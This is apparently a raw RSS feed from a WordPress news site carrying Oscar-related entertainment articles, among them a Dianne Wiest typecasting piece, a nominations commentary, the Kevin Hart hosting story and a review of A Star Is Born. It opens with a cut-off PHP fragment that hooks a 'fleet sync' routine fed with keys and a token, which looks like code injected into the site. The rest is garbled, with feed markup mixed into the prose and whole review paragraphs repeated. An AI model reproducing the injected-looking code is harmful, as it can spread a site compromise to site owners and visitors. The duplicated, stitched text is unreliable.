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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Oscar – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 23 Sep 2022 14:49:13 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Oscar – Brief News https://briefnews.eu 32 32 Winning An Oscar Wasn’t Exactly A Career Boost For Dianne Wiest https://briefnews.eu/winning-an-oscar-wasnt-exactly-a-career-boost-for-dianne-wiest/ https://briefnews.eu/winning-an-oscar-wasnt-exactly-a-career-boost-for-dianne-wiest/#respond Fri, 23 Sep 2022 14:49:13 +0000 https://briefnews.eu/winning-an-oscar-wasnt-exactly-a-career-boost-for-dianne-wiest/

Sometimes even when you win, you lose. For Dianne Wiest, that might just be the case. The Academy Award-winning actor says that winning an Oscar wasn’t the career boon she thought it would be. Despite flashing impressive range in roles that netted three Best Supporting Actress nominations and two wins, Wiest says she’s been boxed in by playing the same character in nearly every movie she’s offered.

When you think about Wiest, you might think of Vi, the mother of the rebellious Ariel in “Footloose.” Or maybe you think of the struggling divorced mom Helen in “Parenthood.” Or perhaps Peg, the mother-like figure for Edward in “Edward Scissorhands.” Maybe Joan, the matriarch of the Short family in the CBS sitcom “Life in Pieces?” And of course, there’s Lucy, mother of the vampire-fighting Emerson brothers in “The Lost Boys.”

And that’s Wiest’s point. Despite her acting chops, authenticated by the two Oscars sitting on her shelf (or wherever Dianne Wiest chooses to show off her hardware), she’s been stuck playing the same role over and over.

She’s Typecast As A Nice Mom

When an actor is typecast, it means that Hollywood producers only see them as one specific character type. While that might mean a safety net for struggling actors, it’s potentially a death knell for actors with the talent and desire to play a wide range of roles. For example, there was a time when Tom Hanks was typecast as strictly a comedy actor before he broke free in the 1993 drama “Philadelphia.”

Unfortunately, Wiest never had her “Philadelphia” moment to escape the dreaded Hollywood typecasting. The big question is, why? Wiest won Oscars for Best Supporting Actress in two Woody Allen films, “Hannah and Her Sisters” and “Bullets Over Broadway.” Both roles were rather salacious and neither involved being a mom.

Despite this, Wiest claims that there’s typically one type of role she’s been offered in Hollywood since her Oscar wins. The actress told The New York Times she’s been typecast as “a nice mom and that’s it. That’s all that ever came [after the Oscars], except in theatre.” Wiest also sent the gossip columns into a tizzy with the quip, “I have to move out of my apartment soon.” She later clarified that her unpredictable acting career and (ironically) covering large tuition bills as a single mother made her New York rent too expensive.

Dianne Wiest: Hollywood’s Mom

You hate to see Wiest limited by Hollywood typecasting, but let’s face it, she does it so well. Since the early 1980s, Wiest has played mom to some of Hollywood’s biggest names. Michael J. Fox (“Bright Lights, Big City”), Corey Haim and Jason Patric (“The Lost Boys”), Winona Ryder and (sort of) Johnny Depp (“Edward Scissorhands”), Lori Singer (“Footloose”), and Joaquin Phoenix (“Parenthood”) are all part of her show biz brood.

And though we’re well beyond the 1980s when Wiest played some of her most iconic “mom” roles, Hollywood refuses to release its grip on her as a mother. She’s now playing parent to another generation of actors, including Steve Carell (“Dan in Real Life”), Amy Poehler and Tina Fey (“Sisters”), and Jeremy Renner (“Mayor of Kingstown”).

But it’s not all bad. Let’s face it, Wiest is a Hollywood treasure and serves as an inspiration for moms everywhere. Her performances have inspired mom blog posts like “How to Handle Motherhood Like Boss mom Dianne Wiest” and social media posts celebrating her as a mother.

Wiest says she turns to the theatre to feed her artistic needs that Hollywood’s mom roles can’t. In 2019 she finished a three-year run as Winnie in Samuel Beckett’s iconic play “Happy Days.” She told the L.A. Times, “I just want to do Beckett’s ‘Happy Days’ over and over again. I don’t want to do anything else, because nothing else comes near it.” Prior to that, she starred in the thought-provoking “Rasheeda Speaking” alongside Tonya Pinkins.

Meanwhile, we’ll continue to relish Wiest as Hollywood’s mom, even though it’s a moniker she’d like to permanently ground, or at least send to bed without dinner.

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Oscar Isaac is swapping onscreen wives: Jessica Chastain will now star opposite Isaac in HBO’s adaptation of Scenes From a Marriage, replacing the previously announced Michelle Williams, according to our sister site Deadline. (Williams reportedly had to drop out of the project due to scheduling issues.)

Based on the Ingmar Bergman classic, HBO’s Scenes From a Marriage will star Chastain and Isaac as a modern American couple in an adaptation that brings a fresh perspective to the original’s “depiction of love, hatred, desire, monogamy, marriage and divorce.” Liv Ullmann and Erland Josephson starred in the 1973 original directed by Bergman, which began as a Swedish TV miniseries and was later edited down for theatrical release.

Hagai Levi (The Affair, In Treatment) will write and direct the HBO series and serve as an executive producer. Chastain and Isaac will serve as EPs as well.

Chastain is best known for her film work, including Zero Dark Thirty and The Help, both of which earned her Oscar nominations. She’s also set to play country music legend Tammy Wynette in the upcoming Spectrum Originals limited series George & Tammy. This project represents a reunion of sorts for Chastain and Isaac: The two played husband and wife in the 2014 crime drama A Most Violent Year.

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The Bachelor‘s “Pilot Pete” Weber gets a helping hand — many hands, in fact — at the potter’s wheel, in a Ghost-themed promo that aired Sunday night during ABC’s broadcast of the Oscars.

With “Unchained Melody” of course scoring the scene, Peter the bare-chested, would-be potter sits at the wheel to fashion a vase (or, let’s face it, in the end it will be a lumpy ashtray) when hands not belonging to Demi Moore begin snaking around his waist and other parts.

Just as things start to get out of hand and Pete is smeared (but not too much!) with wet clay, a familiar, Academy Award-winning face from Ghost lore shows up to offer up a memorable warning.

Press play above to see the spot-on spoof play out — unless you’re, like, psychic and already know how it ends.

ABC’s The Bachelor airs Mondays at 8/7c, and sometimes serves up five hours in a given week!

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]]> https://briefnews.eu/bachelors-ghost-themed-promo-gets-handsy-scares-up-an-oscar-winner/feed/ 0 Oscar the AI trash sorter can be a real grouch https://briefnews.eu/oscar-the-ai-trash-sorter-can-be-a-real-grouch/ https://briefnews.eu/oscar-the-ai-trash-sorter-can-be-a-real-grouch/#respond Mon, 28 Jan 2019 21:39:20 +0000 http://briefnews.eu/oscar-the-ai-trash-sorter-can-be-a-real-grouch/ Intuitive AI CEO Hassan Murad

Oscar is a trash-sorting system that recognizes the food in your hand and tells you how to properly throw it away. It plans to sell data to monetize trash.Read More

]]> https://briefnews.eu/oscar-the-ai-trash-sorter-can-be-a-real-grouch/feed/ 0 Let’s Talk About the Oscar Nominations https://briefnews.eu/lets-talk-about-the-oscar-nominations-2/ https://briefnews.eu/lets-talk-about-the-oscar-nominations-2/#respond Thu, 24 Jan 2019 03:13:14 +0000 http://briefnews.eu/lets-talk-about-the-oscar-nominations-2/ Did you know that they announce the Academy Award nominations early in the morning? If you didn’t, you sure found out today, because Tracee Ellis Ross and Kumail Nanjiani would not stop talking about it! And on one hand, get a new bit, you guys; on the other, it is very early in the morning, a tradition dating back to when they had to time the nominations to be carried by the east coast morning shows in their final half hour. But that’s not really the way the world works any more — most of us watched the nomination announcements on a live stream — so the early morning nominations are kind of an outmoded relic of a changed industry, much like the Oscars themselves BUT I KID.

Anyway, it’s a wild list of nominations, full of wonderful surprises and groan-worthy inclusions. (Sure, give a few more to Green Book, why not.) So let’s take a look at who we didn’t expect to see in the major categories — and who got left out at their expense.

Best Picture
Black Panther
BlacKkKlansman
Bohemian Rhapsody
Green Book
The Favourite
Roma
Vice
A Star is Born

The big surprise here is probably the inclusion of Black Panther, a popular favorite that was far from a shoo-in, thanks (I’m told) to “superhero bias.” The rest of these were pretty widely predicted; the two that most of the pundits anticipated showing, and didn’t, were First Man and If Beale Street Could Talk. There were signs early in the nomination announcements that they weren’t going to have a good morning — First Man was passed over for Best Supporting Actress Claire Foy and Best Score, while Beale Street’s luminous cinematography was also not nominated. In the end, the much-anticipated 2017 rematch between Barry Jenkins and Damien Chazelle didn’t happen — which is a shame, because both are great movies. (Certainly better ones than Bohemian Rhapsody, Green Book, or Vice.) And, y’know, just a reminder, they can nominate up to 10 here. There are eight. They could’ve thrown ‘em in! They didn’t! I don’t even know, you guys.

Best Actress
Yalitza Aparicio, Roma
Glenn Close, The Wife
Olivia Colman, The Favourite
Lady Gaga, A Star Is Born
Melissa McCarthy, Can You Ever Forgive Me?

The nicest kinda-surprise here is the inclusion of Melissa McCarthy, who could have been left aside in a very competitive year. And Aparicio was by no means a shoo-in, though by this point in the announcements, the Academy’s love for Roma was quite clear. Emily Blunt is the big missing piece here; she’s very good in (the very bad) Mary Poppins Returns, and because she was widely predicted to land this one, her (obviously leading) performance in A Quiet Place was campaigned as supporting. She was nominated in neither category, which has to sting. And speaking of the wrong category, we’re really acting like Olivia Colman was the lead and Emma Stone was supporting, eh? All right.

Best Actor
Christian Bale, Vice
Bradley Cooper, A Star Is Born
Willem Dafoe, At Eternity’s Gate
Rami Malek, Bohemian Rhapsody
Viggo Mortensen, Green Book

If you can honestly look me in the face and tell me that the sub-SNL level “Yo, I’m from da Bronx” performance of Mortensen in Green Book, or the make-up showcase work of Malek and Bale, are any match (much less preferable) to the incredible things Hawke is doing in First Reformed, I don’t know how to talk to you about acting. And, for that matter, John David Washington’s work in BlackKlansman also easily surpasses their hackery. Ah well. Oscars, am I right? They transformed themselves, and you can see all the hard work they did, so that must be Great Acting, eh?

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Best Supporting Actress
Amy Adams, Vice
Marina De Tavira, Roma
Regina King, If Beale Street Could Talk
Emma Stone, The Favourite
Rachel Weisz, The Favourite

The first category announced this morning also included its first big shock: a nomination for Marina De Tavira, whom I don’t think I’d seen one “awards pundit” predict would show up here. But Roma basically got nominated for anything it was eligible for (it led the field with 10 nominations); its inclusion here met no nod for the aforementioned Claire Foy or Emily Blunt.

Best Supporting Actor
Mahershala Ali, Green Book
Adam Driver, BlacKkKlansman
Sam Elliott, A Star is Born
Richard E. Grant, Can You Ever Forgive Me?
Sam Rockwell, Vice

Rockwell, last year’s winner, was another shock nomination — and an indication that the voters really loved Vice, which racked up eight nominations. That meant Timothée Chalamet didn’t nab his widely predicted nom for his showy turn as a teen drug addict in Beautiful Boy (which is frankly just fine). The bummer is that Black Panther’s success this morning (it was nominated in seven categories) didn’t extend here; Michael B. Jordan, who has not yet been nominated for an Oscar, was easily the best thing in it.

Best Director
Alfonso Cuarón, Roma
Spike Lee, BlacKkKlansman
Adam McKay, Vice
Yorgos Lanthimos, The Favourite
Pawel Pawlikowski, Cold War

You know what other movie they really liked? Cold War! Pawel Pawlikowski’s elegiac, decade- and continent-spanning love story not only picked up its expected Best Foreign Film nomination — it also grabbed surprise nods for Best Director and Best Cinematography (both earned!). The surprise exclusions here were for Green Book’s Peter Farrelly and A Star is Born’s Bradley Cooper; the latter was particularly shocking, since Academy voters typically loooooove actor-turned-directors (see Robert Redford, Kevin Costner, Mel Gibson, etc.). And while A Star Is Born has been, basically since TIFF, the “safe” bet for Best Picture — it’s a showbiz story, based on a beloved classic, and a popular success to boot — its exclusion from this category means it’s now a long shot for the big prize, which rarely goes to a film with an un-nominated director. (And that also extends to Green Book, thank God.) Then again, that could end up working in its Best Picture favor, since Cooper is now an object of sympathy. (Call it the Argo Maneuver.) Also worth noting: this is the first Best Director nod for Spike Lee, and only his third competitive nomination, after nods for Screenplay (Do the Right Thing) and Documentary (4 Little Girls). If the Academy is in the mood to do one of those “career achievement” Best Director awards — à la The Departed — this would be a good time to do it.

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Best Animated Film
The Incredibles 2
Spider-Man: Into the Spider-Verse
Isle of Dogs
Mirai
Ralph Breaks the Internet

No big surprises here — all of the nomination predictions I saw anticipated these very five nominees. Which I guess tells you something about this year’s animated features? Anyways, go Spidey.

Adapted Screenplay
The Ballad of Buster Scruggs
If Beale Street Could Talk
A Star Is Born
Can You Ever Forgive Me?
BlacKkKlansman

How old were you when you discovered Buster Scruggs was, in fact, an Adapted Screenplay? Because I was this morning years old. At any rate, the nomination for the Coen Brothers’ western anthology was a big surprise, as it was in the Best Song category, indicating (along with Roma’s huge showing) that Netflix’s big spending this campaign season paid off. And its inclusion here meant that Black Panther, widely predicted to get a screenplay nomination, was left out. But hey, it has its Best Picture nomination as a consolation prize. Oh, and the mountains of money it made.

Original Screenplay
The Favourite
First Reformed
Green Book
Vice
Roma

Everyone knew it would happen, but it was still a big thrill to see Taxi Driver writer Paul Schrader land a nomination (his first, somehow) for First Reformed. And everyone knew it would happen, but it was still a big bummer to see Islamophobic tweet writer Nick Vallelonga land a nomination (his first, obviously) for Green Book. If I may paraphrase his favorite politician, that movie could stand in the middle of Fifth Avenue and shoot somebody and it wouldn’t lose voters.

Documentary Feature
Free Solo
Minding the Gap
Hale County This Morning, This Evening
Of Fathers and Sons
RBG

The biggest shock of the morning, for my money, was Won’t You Be My Neighbor? — an indie box office hit from the director of 2014’s Best Documentary winner — not showing up on this list. (I’d have rather seen it on there than RGB, which seemed to get the Commercial Success Hagiography Bio-Doc slot.) In its stead, surprisingly and happily, was Hale County This Morning, This Evening, RaMell Ross’ impressionistic, observational portrait of an Alabama community. It was one of my top five documentaries of the year; I’m thrilled Oscar voters felt the same.

Best Foreign Language Film
Capernaum (Lebanon)
Cold War (Poland)
Never Look Away (Germany)
Roma (Mexico)
Shoplifters (Japan)

The South Korean psychological drama Burning was one of my top 10 of the year, and seemed a pretty safe bet for this category, so its exclusion was a bummer; it was apparently nudged out by Capernaum, which has been wowing viewers since its theatrical bow last month. Any way you slice it, this is a hell of a foreign film line-up — further evidenced by the fact that three of these films (Roma, Cold War, and Never Look Away) are also nominated for Best Cinematography.

So with those nominations done, the Academy just has to figure out what to do about the fact that they still don’t have a host? Somehow? Presumably, they’ll figure that out before Feb. 24. (Or maybe they won’t! That’d be pretty wild.) Watch this space for more.

    

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]]> https://briefnews.eu/lets-talk-about-the-oscar-nominations-2/feed/ 0 Recommended Reading: Conan O’Brien, Oscar Villains, and the Fyre Docs https://briefnews.eu/recommended-reading-conan-obrien-oscar-villains-and-the-fyre-docs/ https://briefnews.eu/recommended-reading-conan-obrien-oscar-villains-and-the-fyre-docs/#respond Sat, 19 Jan 2019 00:12:07 +0000 http://briefnews.eu/recommended-reading-conan-obrien-oscar-villains-and-the-fyre-docs/ Modern online media is all about the signal boost, so every Friday here at Flavorwire, we take a moment to spotlight some of the best stuff we’ve read online this week. Today, a tale of two documentaries, the legend of the aged doctor-turned-rapper, some thoughts on the Oscar race, and an enlightening new interview with a comedy survivor.

Scott Tobias on the dueling Fyre Fest documentaries.

The massive boondoggle of the Fyre Festival, the 2017 promotional music festival/island getaway that turned into a Lord of the Flies for “influencers,” prompted plenty of fallout: a social media frenzy, charges for the fraudster in charge, and now, the oddest cinematic race-to-the-release-date since the great Lambada/Forbidden Dance Massacre of 1990. Netflix earmarked today for the release of their (very good) documentary Fyre, from American Movie director Chris Smith; on Monday, just as the review embargo for that one lifted, Hulu surprise-released Fyre Fraud, another documentary account of the disaster. And they are, unsurprisingly, going after each other a bit. Writing for The Ringer, Tobias talked to both filmmaking teams about their films and controversies:

Fyre and Fyre Fraud arrive at many of the same conclusions about what happened with the festival, and both documentaries place much of the blame on McFarland, a scam artist who was subsequently sentenced to six years in federal prison for wire fraud. However, the major difference between them is that the Hulu doc has an exclusive interview with McFarland and the Netflix doc does not. In the course of preparing a profile on Chris Smith (American Movie, Jim & Andy: The Great Beyond) for The Ringer, coming later this week, I asked Smith on Monday about the Hulu documentary that was released earlier in the day. What he said wound up sparking a kind of ethics-off between the two camps.

Dave Itzkoff interviews Conan O’Brien.

Next week, Conan returns to TBS — but it’s perhaps more accurate to just say Conan returns to TBS, since the show carrying his name will be a different beast than the one that stopped airing in October. It will run half as long, at 30 minutes; it will dispense with late-night talk-show conventions like a desk set and a house band. At the New York Times, Itzkoff talks to O’Brien about what caused those changes, where he sees his career going, and how he’s come to terms with his own limited shelf life:

Calvin Coolidge was a pretty popular president. I’ve been to his grave in Vermont. It has the presidential seal on it. Nobody was there. And by the way, I’m the only late-night host that has been to Calvin Coolidge’s grave. I think’s that what separates me from the other hosts.

I had a great conversation with Albert Brooks once. When I met him for the first time, I was kind of stammering. I said, you make movies, they live on forever. I just do these late-night shows, they get lost, they’re never seen again and who cares? And he looked at me and he said, [Albert Brooks voice] “What are you talking about? None of it matters.” None of it matters? “No, that’s the secret. In 1940, people said Clark Gable is the face of the 20th Century. Who [expletive] thinks about Clark Gable? It doesn’t matter. You’ll be forgotten. I’ll be forgotten. We’ll all be forgotten.” It’s so funny because you’d think that would depress me. I was walking on air after that.

Jeff Maysh on “Dr. Rapp.”

Dr. Sherman Hershfield was your average, over-worked California doctor, until a series of strokes rendered his speech slurred and stuttered. Yet he discovered a strange new gift for speaking in rhyme — and found that when he did so, his new speech difficulties disappeared. So he devoted himself to learning how to rhyme well, which led him to an unlikely hang-out for a white Beverly Hills denizen: “Project Blowed,” the notoriously heated open-mic workshop at Leimert Park in South Central. And, as The Atlantic‘s Jeff Maysh tells it, he became a legend:

Back at Project Blowed, Hershfield intensified his efforts to dominate the mic. But his double life soon became strained as his two worlds splintered. “His friends in Beverly Hills did not approve of this at all,” said Kaplan, Hershfield’s journalist friend. “They were so shocked. Let’s just say none of his friends showed up at open-mic night.” By choosing rap nights instead of night shifts, Hershfield soon fell into another financial crisis. “I think he was more obsessed with rapping than he was going to work,” his stepson, Scott, told me. Sometimes, Michiko told me, the guys from Leimert Park would lend Hershfield money for the bus.

Soon Hershfield’s voice became hoarse from shouting rhymes over African drums and staying out all night. Then, during one particularly hot evening, everything went black. “Dr. Rapp had a seizure,” recalled Tasha Wiggins, who worked for kaos Network. “Other rappers caught him. Everybody stopped what they were doing, trying to nurture Dr. Rapp.” As Hershfield lay unconscious on the floor, the crowd started chanting his name.

Nate Jones on this year’s Oscar villains.

When Green Book and Bohemian Rhapsody won the Best Picture prizes at the Golden Globes earlier this month, the online side-eyes and murmurs came to a roar; how were these two movies, out of all the movies of this extraordinary year, front-runners. At Vulture, Jones takes a look at how a musical biopic and a period race drama, the kind of movies that would’ve breezed through awards season not too long ago, became the year’s most controversial contenders:

I’ve also heard the complaints, less from voters than from pundits: Can we make any movies about white people these days? Does every Oscar movie have to be Moonlight? While I’m sympathetic to the point of view of the films’ defenders, I think these complaints miss the mark. The Favourite, Can You Ever Forgive Me?, and The Wife all managed to have almost entirely white casts without any controversy. And while Roma and BlacKkKlansman certainly owe a bit of their Best Picture buzz to their contemporary resonance, the category’s current front-runner is A Star Is Born, a film that’s so old-fashioned it’s a remake of a movie from 1937. As long as a movie like Darkest Hour can still get nominated for Best Picture, I think old-school Oscar bait will be fine.

What the two disparate reactions to Green Book and Bohemian Rhapsody are really about is a dispute over the utility of pop-culture comfort food. Everyone agrees that the two movies are beige depictions of the real-life history, that they sanitize their subjects in ways that make them more appealing, but less specific. The question is, amid the trauma of the Trump era, is this kind of comfort a necessary balm, or a harmful distraction? Older Oscar voters have suggested to me that this divide is generational, and while that may be true in a broad sense, I suspect it’s as much a difference of philosophy and outlook as it is demographics. (Think of the way Bernie Sanders and Alexandria Ocasio-Cortez have more in common with each other than either does with Hillary Clinton.) It’s tempting to talk about the Academy as if it’s a singular body with singular tastes, but as my colleague Mark Harris reminds me, it’s actually a fractious group of 6,000 people who disagree with each other as much as you would expect a group of thousands of people who work in the same general industry to.

                                                    

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]]> https://briefnews.eu/recommended-reading-conan-obrien-oscar-villains-and-the-fyre-docs/feed/ 0 Kevin Hart Steps Down as Oscar Host in Wake of Anti-Gay Twitter Backlash: 'I Do Not Wish to Be a Distraction' https://briefnews.eu/kevin-hart-steps-down-as-oscar-host-in-wake-of-anti-gay-twitter-backlash-i-do-not-wish-to-be-a-distraction/ https://briefnews.eu/kevin-hart-steps-down-as-oscar-host-in-wake-of-anti-gay-twitter-backlash-i-do-not-wish-to-be-a-distraction/#respond Fri, 07 Dec 2018 05:32:27 +0000 http://briefnews.eu/kevin-hart-steps-down-as-oscar-host-in-wake-of-anti-gay-twitter-backlash-i-do-not-wish-to-be-a-distraction/

Kevin Hart is out as host of the Oscars in the wake of an escalating backlash involving the actor/comedian’s homophobic social-media history.

“I have made the choice to step down from hosting this year’s Oscar’s [sic] … because I do not want to be a distraction on a night that should be celebrated by so many amazing talented artists,” the actor and comedian said on Twitter late Thursday night. “I sincerely apologize to the LGBTQ community for my insensitive words from my past.”

Hart’s announcement came barely an hour after he posted an Instagram video in which he candidly shared, “I just got a call from the Academy, and that call basically said, ‘Kevin, apologize for your tweets of old, or we’re going to have to move on and find another host.’ I chose to pass. I passed on the apology.”

“I’m thankful and I’m appreciative of the opportunity [to host],” he said to the Academy at the end of the video. “If it goes away, no harm, no foul.”

Shortly after Tuesday’s announcement that Hart had been tapped to host the 91st Academy Awards (to be held Feb. 24, 2019), his homophobic twitter past came under new scrutiny. On Thursday, Buzzfeed reported that Hart had begun deleting some of his more offensive tweets, including this one from 2011: “Yo if my son comes home & try’s 2 play with my daughters doll house I’m going 2 break it over his head & say n my voice ‘stop that’s gay.’”

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]]> https://briefnews.eu/kevin-hart-steps-down-as-oscar-host-in-wake-of-anti-gay-twitter-backlash-i-do-not-wish-to-be-a-distraction/feed/ 0 REVIEW: A Star Is Born is NOT a chick-flick – Bradley Cooper deserves an Oscar https://briefnews.eu/review-a-star-is-born-is-not-a-chick-flick-bradley-cooper-deserves-an-oscar/ https://briefnews.eu/review-a-star-is-born-is-not-a-chick-flick-bradley-cooper-deserves-an-oscar/#respond Fri, 05 Oct 2018 03:16:41 +0000 http://briefnews.eu/review-a-star-is-born-is-not-a-chick-flick-bradley-cooper-deserves-an-oscar/

Let me be clear none of this in any way detracts from Lady Gaga’s fine, powerful performance as Ally.

The film is told through her eyes but its heart – and hers – lie with Bradley Cooper’s beautifully, brutally broken country and blues star Jackson Maine. 

Cooper not only plays the tragic eading man, he also directed, and co-wrote some of the original songs, including my personal favourite, the wonderful Maybe It’s Time.

This is a movie about a good man who has made some bad choices based on a terrible childhood and punishing life in the spotlight. It is raw, real and will rip your heart out at the end.

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The film follows the established path of an aspiring and talented young singer, Gaga’s Ally, who nobody believes in, least of all herself.

A chance meeting with the jaded and fading country superstar, Cooper’s Jackson Maine, propels her to stardom – but as one rises, another inexorably falls.

What has always set this tale apart is that it is not the predictable story of the powerful svengali mentor and opportunistic newcomer. Here, both bring out the best in each other, both find something they desperately need and thought they would never find – and both love equally, desperately and with matching passion.

The chemistry between Cooper and Gaga is palpable, powerful, exhilarating and almost painfully convincing. Cooper directs their early scenes with a great eye for their insecurities and hopes, longing and fears.

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The scene where Maine fixates on Ally’s nose, the thing she feels has always held her back, and turns it into the focus of his desire and adoration, is both extraordinarily touching and erotic.

Their first scenes together on stage are electric. Gaga’s vocal majesty is well known but Cooper is far better than his frequent protestations to the contrary. His voice carries warmth and pain, country rain and blues thunder.

In fact, their vocals echo their performances. Gaga is guts and glory, showstopping and supreme, beautifully modulated. 

She is fearless when stripped of her trademark make-up and flamboyant costumes. She has a natural presence and perfectly capture’s Ally’s longing to be seen and valued, while wary of leaving herself even more vulnerable.

A Star Is Born Bradley Cooper and Lady Gaga

A Star Is Born Bradley Cooper and Lady Gaga (Image: FS )

Cooper, for me, is the real treat. Less showy, less spectacular but quietly emotional, raw and imperfect. His pain is the heart of this film. It reminded me of La La Land where nothing Emma Stone did would have been possible without Ryan Gosling’s selfless artistry.

Maine’s alcoholic father drove him to attempt suicide at 13. Tinnitus is drowning out his hearing, stealing his talent as he seeks oblivion in pills and liquor, repeating the sins of father. Suddenly Ally offers a shot at redemption, at love.

For the first time he has a home. For the first time he has something to lose. For the first time he wants to be a better man, live a better life. It is the purity of this which underpins the final punch.

As the tragedy plays out its unbearable heartache there is strong support from Sam Elliott as Maine’s much older brother, another man with broken dreams but less demons.

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In fact, rather than a girls’ journey to stardom, this is a film about damaged men, all seeking to be better but held back by their own feet of clay.

Ally’s limo-driver father had dreams of singing stardom and “could have been bigger than Sinatra.” He is fiercely proud of his daughter but almost cripples her with his own fears and regrets.

Jackson, instead, battles his father and himself until he at last finds his redemption and his future in Ally. The agonising realisation that she may be better off without him is his final test. It is unbearably cruel and unbearably real and most of us would probably fail it. It is the greatest display of love and the greatest tragedy and Cooper delievers ever moment in mesmerising and magnificent style.

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The bar was already set very high. A Star Is Born has a long and award-laden history in Hollywood.

The 1937 Janet Gaynor original was nominated for seven Oscars (winning for Best Original Story), the 1954 Judy Garland had six nominatons and landed its leading lady a Golden Globe. Barbra Streisand’s 1976 version had six Oscar nominations and also won five Golden Globes, including Best Actress.

There is already heavy 2019 Awards Season buzz for the latest incarnation, with as much praise going to leading man Cooper in his directorial debut.

With original music by Gaga and Cooper and two towering central performances, this movie packs a pretty punch, but does it deliver all that we hoped?

The film follows the established path of an aspiring and talented young singer, Gaga’s Ally, who nobody believes in, least of all herself.

A chance meeting with the jaded and fading country superstar, Cooper’s Jackson Maine, propels her to stardom – but as one rises, another inexorably falls.

What has always set this tale apart is that it is not the predictable story of the powerful svengali mentor and opportunistic newcomer. Here, both bring out the best in each other, both find something they desperately need and thought they would never find – and both love equally, desperately and with matching passion.

The chemistry between Cooper and Gaga is palpable, powerful, exhilarating and almost painfully convincing. Cooper directs their early scenes with a great eye for their insecurities and hopes, longing and fears.

The scene where Maine fixates on Ally’s nose, the thing she feels has always held her back, and turns it into the focus of his desire and adoration, is both extraordinarily touching and erotic.

Their first scenes together on stage are electric. Gaga’s vocal majesty is well known but Cooper is far better than his frequent protestations to the contrary. His voice carries warmth and pain, country rain and blues thunder.

In fact, their vocals echo their performances. Gaga is guts and glory, showstopping and supreme, beautifully modulated. Cooper, for me, is the real treat. Less showy, less spectacular but quietly emotional, raw and imperfect. His pain is the heart of this film. It reminded me of La La Land where nothing Emma Stone did would have been possible without Ryan Gosling’s selfless artistry.

Maine’s alcoholic father drove him to attempt suicide at 13. Tinnitus is drowning out his hearing, stealing his talent as he seeks oblivion in pills and liquor, repeating the sins of the father. Suddenly Ally offers a shot at redemption, at love. For the first time he has a home. For the first time he has something to lose. 

As the tragedy plays out its unbearable heartache there is strong support from Sam Elliott as Maine’s much older brother, another one with broken dreams but less demons.

Lady Gaga has spoken of the liberation offered by stripping away her costumes and make-up to lay herself bare for this role, protected by Cooper’s sensitive and sure direction. Ironically, as Ally becomes famous she starts to echo early electropop Gaga. Maine looks on in pain as she starts to sell out.

He tells her performers only have a short time when people truly listen, so they must say something important, something real.

This film grapples with fame, family, integrity, love and sacrifice. It succeeed emphatically in conveying the overwhelming love its two central characters feel.

It falters slightly in facing the inevitable final act. Cooper, for the first time, shies away from the bloodied heart of this tale’s emotional truth. We are listening but I’m not sure he quite knows how to braek it to us. Perhaps it hurts too much.

The final scenes feel a little formulaic, a little too neat, a little mawkish. A shame after the raw power of so much that came before.

But you will still cry. The film has earned that and its place among its illustrious forbears. 

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  • “Icebox” is the feature debut for director Daniel Sawka and is based on his award-winning short film that looks at the US immigration policy from the perspective of a migrant young boy trying to get to the US.
  • The short film caught the attention of legendary director/producer James L. Brooks (“The Simpsons,” “Terms of Endearment”) who produced the feature version.
  • The lead of “Icebox” is Anthony Gonzalez, the star of the Disney hit “Coco.”

Though the Toronto International Film Festival is where the major studios and established players from the independent film world launch Oscar campaigns, the festival can still have a few surprises.

This year those include “Icebox,” one of this year’s TIFF world premieres that could find itself in the running for award season consideration with the big boys by year’s end thanks to a ripped-from-the-headlines story and the backing of one of the most powerful producers in Hollywood.

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